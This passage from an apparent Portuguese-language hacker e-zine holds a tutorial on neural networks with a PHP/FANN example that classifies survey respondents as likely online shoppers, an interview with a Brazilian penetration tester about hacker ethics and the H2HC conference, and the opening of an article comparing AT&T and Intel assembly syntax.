cortex) podem possuir algo em torno de 1000 dendritos cada, possibilitando co- nexao com dezenas de milhares de outras celulas. Entao, nao e' surpresa saber que o cortex esta envolvido nas atividades cerebrais mais complexas, tais como consciencia, linguagem, consciencia perceptual (voce sabe que esta percebendo) e pensamento. O cortex recebe informacoes sensoriais de diversas partes do corpo, tais como maos ou patas, olhos e ouvidos. As informacoes sao entao processadas por neuronios, que dependendo do que foi recebido ira enviar outras informacoes para outros neuronios, formando um ciclo interminavel ( ok, a morte existe ). Neuronios basicamente trabalham com entrada e saida de sinais. Ao rece- ber um sinal de entrada, atraves de um dendrito, ele verifica se este sinal al- canca seu valor de ativacao. No caso positivo, o neuronio ira estimular a saida de sinal atraves de seu axonio (este axonio que, como citado anteriormente, esta ligado em dendritos de um outro neuronio). Caso contrario, a saida sera inibida. --=--=[ Neuronios Artificiais Assim como os neuronios biologicos, os neuronios artificiais, principais componentes de uma rede neural articial, basicamente trabalham com entrada e sa- ida de informacoes. Atraves dos dendritos as entradas chegam ao neuronio, tendo pesos atribuidos pelas sinapses. A soma das entradas combinadas com os pesos produz uma saida efetiva, a qual sera processada pela funcao de ativacao do neu- ronio. A funcao de ativacao ira ou nao ativar a saida do neuronio finalmente. Podemos abservar na Fig. 1 uma descricao de um neuronio artificial e suas partes. ............................................................. + + | | | w1 | | X1 ............. |'''''''''''''+ | | w2 \ | |t | | X2 ============{ E }=======+ f(a) |========> y | | w3 / | | | | Xn ............/ +.............+ | | | | | | X1, X2 e Xn: | | Dendritos (entradas) | | w1, w2 e w3: | | Pesos (os pesos podem ser comparados com | | neurotransmissores em um neuronio biologico) | | E: | | Soma ponderada do produto das entradas | | pelos pesos ( E = X1w1 + X2w2 ... + Xnwn ) | | f(a): | | Funcao de ativacao do neuronio | | t: | | Limite de ativacao (threshold) | | y: | | Axonio (saida) | | Fig. 01 | +.............................................................+ --=[ Redes de Neuronios Um conjunto de neuronios artificiais interconectados forma a base de uma rede neural artificial. Redes neurais artificiais (chamada agora apenas de RNA), usam modelos matematicos para processamento de informacoes, baseados em uma tipo especifico de conexionismo, voltado a computacao (conexionismo pode ser visto como um conjunto de unidades simples interconectadas, no caso de RNAs, essas unidades simples sao os neuronios). Redes neurais podem e sao utilizadas para diversos fins, entre os quais, reconhecimento de voz, reconhecimento otico de caracteres (OCR), previsoes, re- conhecimento de padroes, classificacao de dados, entre outros. Existem diversas classes de RNAs entre os quais: - Feedforward neural networks - Recurrent network - Stochastic neural networks - Modular neural networks Em cada classe de RNA existem diversos tipos de redes, as mais populares sao: - Adaptive Linear Neuron / Adaptive Linear Element (ADALINE) - Multiple Adaptive Linear Neuron (MADALINE) - Radial Basis Function (RBF) - Kohonen self-organizing network - Hopfield network - Single Layer Perceptron - Multi Layer Perceptron (MLP) As redes neurais funcionam com base em treinamentos, ou seja, nao basta apenas construir uma RNA e colocar ela, por exemplo, para classificar padroes. Ela antes precisa conhecer esses padroes atraves de um treinamento previo. Ha varios metodos de treinamento, entre eles: - Decision Tree - Nearest Neighbor - Boosting - Bayesian inference - Naive Bayes classifier - Clustering - Backpropagation Nota-se que RNAs nao sao exatamente complexas, mas sim uma area muito vasta, com muita informacao, nao sendo muito facil ter conhecimento sobre tudo que possa estar envolvido no desenvolvimento de todos os tipos de redes de todas as classes, utilizando diversos metodos de treinamento. Vamos entao nos concen- trar em uma classe especifica de RNA, a feedforward neural network. Nesta clas- se, ficaremos no tipo de rede conhecido como multi layer perceptron (mlp) e po- demos (e vamos) utilizar backpropagation como metodo de treinamento. --=--=[ Feedforward Neural Networks RNAs sao formadas por layers (camadas) de neuronios, normalmente tendo uma layer na entrada, uma outra na saida e uma layer oculta (hidden layer). Em uma feedforward neural network (FFNet) cada neuronio (chamado agora de unit) de uma layer esta conectado com cada outra unit de uma outra layer (posterior ou anterior a esta layer). A informacao entra na rede atraves da layer de entrada, passando por cada outra layer ate chegar a saida. Durante a operacao normal da rede, nao existe feedback - retorno - de uma layer para a sua layer anterior. Dai surge o nome de feedforward neural network. --=--=[ Perceptron Um perceptron e' um tipo de RNA que consiste de uma ou mais layers de units. As entradas sao entregues diretamente as saidas, via uma serie de pesos usados para calculo de ativacao. As layers nao dao feedback para outras layers, sendo assim este um tipo de FFNet. Vamos a um exemplo ilustrativo de como funci- ona um perceptron. Na Figura 2 temos no perceptron os pesos de cada entrada pre- viamente calculados atraves de um treino com padroes ja conhecidos. Nas entradas temos os valores que queremos a classificacao do padrao. O valor minimo de ati- vacao e'de 0,4. Desta forma temos na entrada E o seguinte: E = ((5x0,3) + (9x0,6) + (2x0,4)) / (5+9+2) .-. E = 0,48125 Para que a saida seja ativada, a entrada deve ser maior ou igual a t (0,4). Como neste caso o valor e' maior, a saida sera ativada. ............................................................... + + | | | w1=0,3 | | X1=5 ............. |'''''''''''''+ | | w2=0,6 \ | |t=0,4 | | X2=9 ============{ E }=======+ |========> y | | w3=0,4 / | | | | X3=2 ............/ +.............+ | | | | | | Fig. 02 | +...............................................................+ --=--=[ Multi Layer Perceptron com Aprendizado por Backpropagation Multi layer perceptron (MLP) e' o tipo de RNA mais utilizado. Consiste de uma layer de entrada, que contem uma quantidade de units igual a quantidade de variaveis que um problema possa ter (ficara claro no exemplo que vem a seguir o que isso significa), uma layer de saida, que sera o local por onde a "respos- ta" do problema sera mostrada. A layer de saida normalmente contem uma unit ape- nas. As layers entre a de entrada e a de saida sao as chamadas hidden layers. Problemas que podem ser resolvidos por um perceptron, podem ser feitos de tal forma que a utilizacao de apenas uma hidden layer resolva, entretanto o percep- tron algumas vezes se comporta melhor com o uso de duas hidden layers. Backpropagation e' um algoritimo de aprendizado utilizado em FFNets com uma ou mais layers entre a entrada e a saida da rede (por isso pode e e' muito utilizado em multi layer perceptron). Uma rede MLP ao ser iniciada contem pesos aleatorios (entre 0 e 1) nas entradas e um valor que e' esperado na saida. Apos os dados serem apresentados 'a entrada e a saida ter sido calculada, uma compa- racao entre esta saida calculada e a saida desejada, o erro e' calculado e pro- pagado por toda a rede, da saida para a entrada (back propagation) para que os pesos possam ser entao recalculados. Este procedimento e' repetido ate que a rede chegue em um nivel de erro aceitavel para a funcao que ira desempenhar. --=[ LIBFANN - Fast Artificial Neural Network Podemos ver um exemplo simples de uso de uma RNA para classificar in- formacoes. Este primeiro exemplo sera para uma breve introducao na utilizacao da FANN, que e' uma lib que implementa rede multi layer e utiliza backpropaga- tion para o treinamento. Os exemplos serao feitos utilizando a linguagem PHP, embora a lib possa ser utilizanda em programas escritos em C, Python, Ruby, Octave e algumas outras. E' necessario entao instalar a libfann e criar o modulo que sera utili- zado nos scripts php (supondo que ja tenha o interpretador php instalado, pois isso nao sera coberto). Faca o download da libfann [1] e da fannphp [2] (as versoes utilizadas foram 1.2.0 (libfann) e 0.1.0 (fannphp). Apos isso, a insta- lacao da libfann se da' da seguinte forma: $ tar xjvf fann-1.2.0.tar.bz2 $ cd fann-1.2.0 $ ./configure $ make # make install E a criacao do modulo php: $ tar xjvf fannphp-0.1.0.tar.bz2 $ cd ext/fann/ $ phpize $ ./configure $ make Apos isso, um arquivo chamado "fann.so" sera criado no diretorio "modules/": $ ls modules/fann.so modules/fann.so* Este modulo sera utilizado por todos os scripts php que utilizem alguma RNA. --=[ Classificacao de Informacao e Reconhecimento de Padroes A tabela a seguir (Tab. 1) contem informacoes que foram adquiridas em uma pesquisa de rua, na qual foram consultadas pessoas que acessam regularmente a internet. Foi questionado o seguinte, como pode ser observado: - Nome da pessoa consultada; - Sexo da pessoa; - Idade da pessoa; - Se tem ou nao filhos e, caso tenha, quantos; - Faz compras via internet ( 1 = sim, 0 = nao ) .______________.______._______.________.___________________. | Nome | Sexo | Idade | Filhos | Compra pela web ? | +--------------+------+-------+--------+-------------------+ | Jose | M | 32 | 1 | 1 | | Maria | F | 22 | 0 | 0 | | Joana | F | 25 | 0 | 0 | | Joao | M | 35 | 0 | 1 | | Lucia | F | 24 | 1 | 1 | | Marina | F | 21 | 0 | 0 | | Joseane | F | 22 | 0 | 0 | | Carlos | M | 40 | 2 | 1 | | Mariano | M | 33 | 3 | 1 | | Claudia | F | 23 | 0 | 0 | | Francine | F | 26 | 0 | 0 | | Marlon | M | 36 | 1 | 1 | | Tatiane | F | 25 | 1 | 1 | | Jaqueline | F | 22 | 0 | 0 | | Raquel | F | 21 | 0 | 0 | | Mustafa | M | 41 | 2 | 1 | '--------------'------'-------'--------'-------------------' Tab. 1: Pesquisa de rua De posse dessa informacao, uma loja que efetua vendas via internet, que passaremos a chamar apenas de "Loja", gostaria de buscar por algo em comum entre as pessoas que normalmente compram via internet. A Loja possui um outro banco de dados (Tab. 2) com informacoes de outras pessoas, as quais ela nao sabe se cos- tumam ou nao efetuar compras em lojas eletronicas, e gostaria de convida-las para uma visita ao site. Entretanto, ela nao pretende incomodar as pessoas que supostamente nao iriam comprar, e nao acha interessante, por qualquer motivo, enviar emails a estas pessoas (que nao iriam comprar). Politica de minimizacao de spam adotada pela empresa. Para que pessoas da lista a Loja deve enviar o email? .______________.______._______.________. | Nome | Sexo | Idade | Filhos | +--------------+------+-------+--------+ | Ivan | M | 30 | 1 | | Juliana | F | 20 | 0 | | Maristela | F | 22 | 0 | | Claudionor | M | 37 | 0 | | Marcia | F | 25 | 1 | | Sabrina | F | 21 | 0 | '--------------'------'-------'--------' Tab. 2: Dados para classificacao De posse dessa informacao, podemos organizar os dados para a construcao e treino da rede. - Numero de units na layer de entrada: Baseado na quantidade de variaveis ( sexo, idade e filhos ). Utilizaremos entao 3 units. - Hidden layer: Apenas uma. - Numero de units na hidden layer: 6 - Numero de units na layer de saida: 1 ( a saida ira indicar se a pessoa entra no padrao de quem compra pela internet ou de quem nao compra ) - Dados para treino da rede: O conteudo da Tab. 1 - Dados para serem classificados: O conteudo da Tab. 2 Resumidamente, o que a rede ira fazer e' verificar em qual classe as pessoas da Tab. 2 se encaixam: Classe das pessoas que compram pela internet e classe das pessoas que nao compram pela internet. Vamos ao codigo: <++> php_rna/peopleClass.php */ /* modulo que foi criado anteriormente */ dl('fann.so'); /* * Aqui temos um array com informacoes sobre * as pessoas da Tab. 1, as quais serao utilizadas para treino * da rede. Sexo sera definido como 'M' = 0 e 'F' = 1 */ $dados = array ( array ( 'sexo' => 'M', 'idade' => 32, 'filhos' => 1, 'saida' => 1 ), array ( 'sexo' => 'F', 'idade' => 22, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'F', 'idade' => 25, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'M', 'idade' => 35, 'filhos' => 0, 'saida' => 1 ), array ( 'sexo' => 'F', 'idade' => 24, 'filhos' => 1, 'saida' => 1 ), array ( 'sexo' => 'F', 'idade' => 21, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'F', 'idade' => 22, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'M', 'idade' => 40, 'filhos' => 2, 'saida' => 1 ), array ( 'sexo' => 'M', 'idade' => 33, 'filhos' => 3, 'saida' => 1 ), array ( 'sexo' => 'F', 'idade' => 23, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'F', 'idade' => 26, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'M', 'idade' => 36, 'filhos' => 1, 'saida' => 1 ), array ( 'sexo' => 'F', 'idade' => 25, 'filhos' => 1, 'saida' => 1 ), array ( 'sexo' => 'F', 'idade' => 22, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'F', 'idade' => 21, 'filhos' => 0, 'saida' => 0 ), array ( 'sexo' => 'M', 'idade' => 41, 'filhos' => 2, 'saida' => 1 ) ); /** * Aqui a rede sera criada * Em tipo de conexao podemos utilizar 1.0 ou 0.5, que indica que a * rede sera totalmente conectada ou indica que a rede tera somente * metade das conexoes efetuadas. * informacoes detalhadas sobre a funcao podem ser encontradas em [3] */ $rede = fann_create ( array(3, 6, 1), // units: 3/entrada, 6/hidden e 1/saida 1.0, // tipo de conexao 0.7 // taxa de aprendizagem ); /* * E' feita a leitura de cada pessoa e a informacao e' colocada de * forma que a funcao possa entender e entao e' jogado na rede para * treinamento */ $info = array(); foreach ( $dados as $pessoa ) { array_push ( $info, array ( array ( $pessoa['sexo'], $pessoa['idade'], $pessoa['filhos'] ), array ( $pessoa['saida'] ) ) ); } fann_train ( $rede, $info, // informacao utilizada para o treino 10000, // numero maximo de interacoes para treino da rede // (epocas/epochs) 0.00001, // erro max. para que a rede seja considerada treinada 0 // mostrar informacoes sobre o treino da rede a cada // quantas epocas? ); $teste0 = fann_run ( $rede, array ( 'F', 22, 0 )); $teste1 = fann_run ( $rede, array ( 'M', 32, 1 )); $Ivan = fann_run ( $rede, array ( 'M', 30, 1 )); $Juliana = fann_run ( $rede, array ( 'F', 20, 0 )); $Maristela = fann_run ( $rede, array ( 'F', 22, 0 )); $Claudionor = fann_run ( $rede, array ( 'M', 37, 0 )); $Marcia = fann_run ( $rede, array ( 'F', 25, 1 )); $Sabrina = fann_run ( $rede, array ( 'F', 21, 0 )); echo "As saidas foram as seguintes:\n". "teste0: $teste0[0]\n". "teste1: $teste1[0]\n". "Ivan: $Ivan[0]\n". "Juliana: $Juliana[0]\n". "Maristela: $Maristela[0]\n". "Claudionor: $Claudionor[0]\n". "Marcia: $Marcia[0]\n". "Sabrina: $Sabrina[0]\n\n"; ?> <--> php_rna/peopleClass.php Antes de verificarmos como a rede se comporta, algumas consideracoes devem ser feitas: - Os dados para treino da rede sao muito importantes, entao devem ser bem selecionados e em uma boa quantidade ( o que nao foi o caso, esta sendo utilizada pouca informacao para treino) - Observe que os dados que serao testados para a saida em "$teste0" e "$teste1" sao exatamente iguais a dados que foram utilizados durante o treinamento da rede, entao essas saidas deveram ser iguais as saidas que foram apresentadas com os mesmos dados durante o treinamento. - O codigo php utiliza algumas poucas funcoes, resumidamente trabalhando da seguinte forma: * E' carregado o modulo para uso da fann; * E' criado um array com as informacoes que serao utilizadas pela rede durante o treinamento; * A rede e' criada; * As informacoes que serao utilizadas para o treino e' organizada em uma pilha ( que vai se transformar em um array de arrya ), que sera passada para o treino da rede; * A rede e' treinada; * A rede e' utilizada para classificar informacoes para "teste0", "teste1", "Ivan", ... e "Sabrina"; * O resultado da classificacao e' entao exibido; Vejamos como ficou: $ php peopleClass.php As saidas foram as seguintes: teste0: 0 teste1: 1 Ivan: 1 Juliana: 0 Maristela: 0 Claudionor: 1 Marcia: 1 Sabrina: 0 $ Como dito, "teste0" e "teste1" realmente obtiveram as saidas conforme o esperado. O que podemos observar tambem e' que, aparentemente as informacoes fo- ram classificadas de tal forma que se assemelham com os dados de entrada. Veja por exemplo o Claudionor, que tem 37 anos, 1 filho e e' do sexo 'M'. Nos dados de entrada nao existe nenhuma informacao igual a dele, e o que mais se assemelha e' a entrada da linha 12 de dados: "array ( 'sexo' => 'M', 'idade' => 36, 'filhos' => 1, 'saida' => 1 )" Assim como esta entrada de dados, a saida do Claudionor tambem esta em 1, ou se- ja, o Claudionor se encaixaria na classe de pessoas que efetuariam uma compra pela internet. Como pode se observar, o funcionamento e' bastante simples (embora os algoritimos utilizados para que isso funcione nao sao assim tao simples). Apos essa breve introducao e visualizacao de como funciona ( e que realmente funcio- na), podemos partir para algo mais interessante. --=[ Utilizacao de RNA para Deteccao Local de Intrusao (Proxima Parte) Sistemas dedicados a determinadas tarefas normalmente seguem um deter- minado padrao, muito embora esses padroes possam nos passar despercebidos. Eles podem ser, entre outras coisa: - Arquivos * Quem acessou * Em que horario acessou * O que fez com o arquivo (leu/gravou/deletou) * De onde acessou - Processos * Quem executou * Em que horario executou * Durante quanto tempo ficou ativo O que vamos implementar e' uma simples RNA treinada com informacoes de quais usuarios acessam quais arquivos e em que horarios. O ideal seria treinar a rede com informacoes sobre o uso normal do ambiente no qual o sistema de de- teccao de intrusao (chamado agora apenas de HIDS - Host Intrusion Detection System ) sera implementado. A rede sera treinada com informacoes triviais, como user id, arquivo acessado e horario e o dia de acesso ( dia normal / fim de semana ). Devido a simplicidade do treino ( nao sera algo muito aprofundado ), a quantidade de falso-positivos pode ( provavelmente sera ) muito alta. [ CONTINUA NA PARTE 2 ] [1] http://prdownloads.sourceforge.net/fann/fann-1.2.0.tar.bz2?download [2] http://prdownloads.sourceforge.net/fann/fannphp-0.1.0.tar.bz2?download [3] http://leenissen.dk/fann/fann.html#php.api http://en.wikipedia.org/ http://pt.wikipedia.org/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[11]-=[Entrevista com dum_dum]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Perguntas por: d4rwin, hallz, SKOFF, SkyNet45 e tDs 1. Primeiramente, gostaríamos que você se apresentasse, fazendo um pequeno resu- mo de como foram os seus primeiros contatos com computadores. Meu nome é Wendel Guglielmetti Henrique, atualmente trabalho como analista de penetration test (teste de intrusão), sou um dos fundadores do grupo Front The Scene, já estive ligado a outras cenas e grupos de Hackers, ou se preferirem, Hackers Éticos. Sou um dos fundadores e organizadores do H2HC (Hackers 2 Hackers Conference), e faço parte de algumas poucas comunidades de Hackers internacionais. Meu primeiro micro computador eu adquiri por influência de um tio, que me con- venceu que era mais interessante pedir um micro computador de presente de ani- versário do que um video-game da época. Eu não sabia exatamente o que fazia, mas eu já achava bem interessante os três micro computadores que ele tinha na empre- sa (rodando MS-DOS). :) Meu interesse por jogos eletrônicos foi diminuindo com o passar do tempo. A prin- cípio eu gostava de aprender sobre o MS-DOS, com exceção de programação em ar- quivos de lotes. Na época, programação não me atraía, para não dizer que eu achava muito chato. Até onde eu me lembro a cidade onde eu morava ainda não tinha provedor de acesso a internet ou BBS. Eu tinha poucos conhecidos que tinham ou se interessavam por micro computadores. Meu interesse cresceu alguns anos depois, quando mudei de escola e fiz um amigo (Fernando) que também gostava muito de micro computadores. O Fernando sabia mais do que eu e tinha acesso a internet. 2. Para você, o que é um hacker? Muito complexo definir. Se eu tivesse que definir de forma sucinta, eu diria que são pessoas que tem sede de aprender, e acabam se tornando muito boas nisso. De uma certa forma, eu acho que lembra o significado da palavra Kung-Fu. Entretanto esse perfil é voltado para informática, mas acaba abrangendo outras áreas relacionadas, como: telefonia, sistemas digitais, dispositivos eletrônicos, etc. Outro ponto relevante é o grande interesse por segurança e insegurança, que talvez seja o que os motive. E por fim, mas não menos importante, vem a po- lêmica ética Hacker, que acaba sendo moldada em cada um deles com o passar dos anos, e a sua filosofia em prol de várias causas como a liberdade da informação. 3. A Ética Hacker também é algo bastante discutido. Algumas pessoas chegam in- clusive a dizer que hackers não têm (ou não devem ter) uma ética. Qual é o seu ponto de vista? Hackers tem ética. A questão é que essa ética em vários pontos não condiz com a ética que as pessoas aprendem desde criança. A ética Hacker ao meu ver é baseada em três pilares, sendo: - A liberdade da informação. - Possibilidade de acesso ao conhecimento. - Usufruir dos dois pilares acima da melhor forma possível para que não exista (ou exista o mínimo possível) pessoas prejudicadas. 4. O que te atrai no hacking? Principalmente os desafios que ele proporciona. 5. Como você acha que é formado um hacker? Definitivamente não é em Universidades. :) Os Hackers de forma geral são autodidatas, conseqüentemente a formação acontece naturalmente de acordo com o tempo que cada um começa a dedicar para pesquisar e desenvolver nesse seguimento. A própria comunidade Hacker tem um papel importante nesse sentido, pois ela desenvolve material para que novos interessados possam ler, aprender e conhecer o caminho das pedras... 6. Quais os livros/textos você acha fundamentais para alguém que deseja ser um hacker? Parece preconceituoso, mas eu acho fundamental conseguir ler em inglês para poder ter acesso mais fácil as informações. A língua inglesa tem um ponto muito positivo, que possibilitou através da Internet a disseminação quase em tempo real de conhecimento entre comunidades do mundo todo. Alguns Hackers defendem a importância de conhecer outros idiomas, como alemão, francês, russo, polonês, etc devido a grande qualidade de alguns textos publi- cados nesses idiomas, que não são traduzidos para a língua inglesa. Eu não acredito que existam livros fundamentais, mas sim tópicos fundamentais. Vou citar alguns tópicos e referencias de alguns clássicos do gênero, no intuito de auxiliar quem quer começar e não sabe por onde. Sistemas Operacionais (Internals): Operating System Concepts Modern Operating Systems (Second Edition) Operating Systems: Design and Implementation (Second Edition) Rede de Computadores: The Protocols (TCP/IP Illustrated) UNIX Network Programming Lógica de programação e linguagens: The Logical Basis for Computer Programming Curso básico de C da UFMG (http://ead1.eee.ufmg.br/cursos/C/) Programming Windows (Fifth Edition) Advanced Programming in the UNIX(R) Environment (Second Edition) Professional Assembly Language (Programmer to Programmer) Hacking em Geral: Phrack Magazine (http://www.phrack.org) The Hackers Choice - THC (www.thc.org/) Xfocus Team (http://www.xfocus.org/) Eventos de Hacking no Brasil: H2HC (http://www.h2hc.com.br OU http://www.h2hc.org.br) Code Breakers (http://www.codebreakers.com.br/) 7. Para você, quais pessoas e/ou grupos deram grandes contribuições para a cena hacker, tanto tecnicamente quanto na disseminação do espírito hacker? Depende, você quer saber sobre a cena Brasileira ou Internacional ? O Hacking tem algumas décadas, o que torna difícil dizer quais foram as maiores contribuições, já que eu não vivi nem mesmo metade delas. Entretanto, vou listar de forma reduzida algumas que eu presenciei. Brasil: - Axur05 - Barata Elétrica (apesar de eu não gostar muito, ela foi importante) - Sekure.org - Unsekurity (Scene & Team) - Clube Dos Mercenarios (CDM) - H2HC (Hackers 2 Hackers Conference) Internacional: - Chaos Computer Club (CCC) - Cult Of The Dead Cow (CDC) - 2600: The Hacker Quarterly (2600 Magazine) - Eletronic Frontier Foundation (EFF) - Legion Of Doom (LOD) - Masters Of Deception (MOD) - L0pht Heavy Industries - The Hackers Choice (THC) Eu acabei modificando várias vezes essa lista, pois existiram inúmeros grupos de peso com o passar dos anos, e para não favorecer nenhum, coloquei apenas os que eu considero que foram extremamente importantes para o Hacking. 8. Vemos constantemente a mídia taxar hackers como criminosos. Qual seria o principal motivo? E o que poderia ser feito para mudar esta situação? Esse assunto é muito polêmico na comunidade Hacker. Eu acredito que os dois principais motivos são: a desinformação e os interesses comerciais. Vários Hackers Brasileiros já contataram vários reporters de grandes meios de comunicação como Globo, Folha de São Paulo, Estadão, etc, com intuito de escla- recer conceitos utilizados de forma errônea nas matérias. Alguns simplesmente ignoram. Contudo, essa situação tem se modificado nos últimos anos, aos poucos. Por outro lado, existe a questão do interesse comercial: como nós bem sabemos, a palavra Hacker vende! 9. O Brasil é famoso por seus grupos de pichadores, que figuram inúmeras vezes em matérias publicadas por todas as partes. Você acha que o Brasil tem real- mente grandes talentos na "arte do hacking" ou apenas pichadores e kiddies? Como em todo lugar do mundo, o Brasil tem verdadeiros Hackers, mas particular- mente eu acho que são poucos comparados a outros países, inclusive aqueles muito menores que o nosso. O Brasil com certeza tem muito mais Defacers, Script Kiddies, Carders e Bankers. Ser Hacker leva tempo, muito tempo, atualmente nós temos muitos newbies no Bra- sil. Então quem sabe daqui a alguns anos nós tenhamos uma cena Hacker forte. 10. O cenário do hacking no Brasil não é tão expressivo quanto o de alguns outros países. Isso pode ser devido a qual(is) fator(es)? Bom, eu não entendo muito dessa parte social, quem deveria responder essa pergunta é o meu irmão, que estuda Ciências Sociais. :) Eu acredito que os principais fatores são: - A Internet é recente no Brasil com relação a outros países de poder econômico maior. - Hoje está muito mais fácil, mas a alguns anos atrás adquirir um micro computa- dor era um luxo de poucos. - O famoso jeitinho Brasileiro de sempre querer passar a perna em alguém, ser mais esperto, etc. 11. O que te levou a criar a Front The Scene? Qual é o objetivo da FTS? Você acha que este objetivo vem sendo alcançado? A Front The Scene foi criada junto com meu amigo Ygor (dmr). A idéia era apenas ser um grupo de amigos para trocar informações referentes a segurança computacio- nal e hacking. Atualmente a única parte ativa é a mail-list. A FTS colaborou com uma certa expressão para outras comunidades e acontecimentos importantes do Hacking no Brasil, como o primeiro evento Hacker Brasileiro, o H2HC. Eu diria que para a FTS alcançar algum objetivo nos dias de hoje, ela precisaria ser reestruturada; tenho discutido isso com o Ygor (dmr) recentemente. 12. Quais tecnologias/conceitos você acredita serem promissores para o aumento da segurança de redes e máquinas? E quais abordagens devem ser abandonadas ou repensadas? Eu acredito que o conceito mais promissor para um aumento drástico da segurança da informação é educar os usuários, desenvolvedores, administradores de sistemas e administradores de redes. :) Existem vários conceitos aplicados atualmente que ou são defasados ou o design é ineficaz. Um exemplo interessante é o novo sistema para deletar ou encriptar arquivos de laptops roubados (http://info.abril.com.br/aberto/infonews/042006/ 12042006-7.shl). - Uma quadrilha especializada em roubos de laptops não formataria a máquina antes de revender? - Se o objetivo da quadrilha é roubar informações classificadas, para que eles conectariam esse laptop à internet? Fazer atualizações do Windows (rs)? 13. Você já teve algum tipo de problema por ter o seu nome vinculado ao hacking? Sim, algumas empresas tem alguns analistas de segurança e consultores de segurança que confundem a definição de Hacker com Cracker e as vezes até mesmo com Carders e Bankers, e dessa forma já fomos (nós do Intruders Tiger Team Security) prejudi- cados. 14. Em suas palestras, qual tem sido o perfil predominante do público? Depende muito do evento; se é um evento de Software Livre, Hacking ou Universi- tário. De uma forma geral, a grande maioria são interessados por segurança e in- segurança, na maioria estudantes universitários. 15. As instituições de ensino tem um histórico ruim no quesito (in)segurança. Muitos alunos terminam o curso de TI sem saber o que é um race condition, format string bug, MITM e até mesmo buffer overflow. Como você avalia, em linhas gerais, o nível de conhecimento sobre as ameaças digitais dos uni- versitários que tem encontrado? Generalizar é complicado, mas de forma geral os conceitos de segurança dos uni- versitários são muito fracos. Acredito que isso acontece devido a não existirem fundamentos de segurança da informação nas grades curriculares, o que é uma pena. Como eu disse, são casos e casos, mas no geral os conceitos sobre segurança da informação são bem precários, com resalva para os cursos cujo foco é segurança ou quando o professor/aluno tem um interesse extra-curricular por segurança. 16. Sobre o H2HC. Conte-nos um pouco sobre a experiência de organizar um evento para hackers, no Brasil. Foram muitas as dificuldades? As expectativas estão sendo atingidas? O que podemos esperar para as próximas edições? Organizar eventos é difícil e requer muito tempo e esforço. Se for um evento de Hacking complica mais ainda. Se o evento for de Hacker e no Brasil, onde existe essa grande confusão dos termos, então é trabalho para homem casado, como diz meu amigo Glaudson. O H2HC é um evento sem fins lucrativos, e diga-se de passagem dá prejuízo (que é ratiado entre os organizadores). Por ter como foco o Hacking, fica difícil arrumar patrocinadores; então o evento é totalmente independente. O H2HC tem melhorado a cada ano em vários pontos, como organização, estrutura e modelação. Esse ano nós temos alguns novos membros escolhidos a dedo na comissão organizadora, e acreditamos que isso vai nos ajudar bastante. O H2HC com certeza atinge os seus dois principais objetivos, que são: - Fortalecer a cena Hacker brasileira como um todo. - Canalizar os recursos da mídia para difundir o sentido correto do termo Hacker. O próximo H2HC vem cheio de novidades, aguardem! 17. Qual seria o perfil ideal para um patrocinador do H2HC? Uma empresa ou pessoa que apoie o Hacking ético, e não emponha as seguintes restrições: - Proibido demonstrar falhas ou citar como ineficaz o produto X, Y ou Z. - Não nós obrigue a abrir palestras fora do foco do evento. Nós entendemos que isso pode ser complicado do ponto de vista comercial, e estamos abertos a propostas e quem sabe chegar a um consenso. 18. Como as empresas para quem você prestou serviços vêem o hacking e os hackers? Esse assunto tem que ser tratado com muito cuidado. Nós procuramos explicar para todos os clientes e possíveis clientes o que é Hacking e o que são Hackers. Pro- curamos ainda mostrar que os Hackers estão em todos lugares, e participam ativa- mente no desenvolvimento das mais variadas soluções existentes, não só no campo da segurança computacional. 19. Sobre o Intruders, o que tem sido desenvolvido/pesquisado? O Intruders Tiger Team Security (http://www.intruders.com.br/) é onde eu trabalho, que é uma divisão da Security OpenSource (http://www.security.org.br). Nós pesquisamos várias áreas, as principais são: - Pesquisa & desenvolvimento de vulnerabilidades. - Pesquisas com certificados digitais. - Pesquisas & desenvolvimento de possíveis soluções Anti-Phishing - Pesquisas & desenvolvimento de possíveis soluções contra malwares em geral (vírus, trojans, ...) - Desenvolvimento do Security Works, que é uma família de serviços de segurança gerenciados. 20. Existe alguma solução desenvolvida pelo Intruders que estará disponível aos usuários em breve? Sim, mas infelizmente não posso repassar maiores detalhes. :( 21. Existem rumores de que o seu nick é uma referência ao pagode, som que você curte. (tikidum dum dum, tikidum dum dum). Você confirma? Hahaha, estava demorando pra começar! :) 22. Espaço livre. Mande o seu recado para os newbies de plantão :-) 1 - Don't learn to hack, Hack to learn. 2 - Nunca confie no hallz, ele sempre faz perguntas para te deixar encabulado. :) _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[12]-=[Diferencas entre a sintaxe AT&T e a sintaxe Intel]=-|Narcotic|=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= --=[ Introducao Aqui vai uma breve introducao sobre a diferenca entre a sintaxe AT&T e a Intel. Raro conhecer alguem que aprenda primeiramente a sintaxe AT&T pois ela eh um tanto confusa para um iniciante. Mas para programadores mais experientes, ela se torna uma ferramenta muito poderosa, feita de tal maneira q impossibilita ambiguidades no codigo. --=[ Porque aprender a Sintaxe AT&T O principal montador (assembler) que utiliza a sintaxe AT&T eh o GAS (GNU Assembler) Ele eh usado em conjunto com o GCC (GNU C Compiler) para escrever grande parte dos softwares que compoem os sistemas operacionais livres atuais. Alem disso, existem outros programas que se baseiam nessa sintaxe, como o GDB e o objdump, todos da familia dos binutils. --=[ A Sintaxe Primeiramente, os operandos das instrucoes em AT&T sao invertidos, essa ideia eh a que causa mais confusao entre os novatos. Enquanto em Intel a sintaxe eh: instrucao destino, origem em AT&T eh: instrucao origem, destino --=[ Registradores Todos os nomes dos registradores devem ser prefixados por 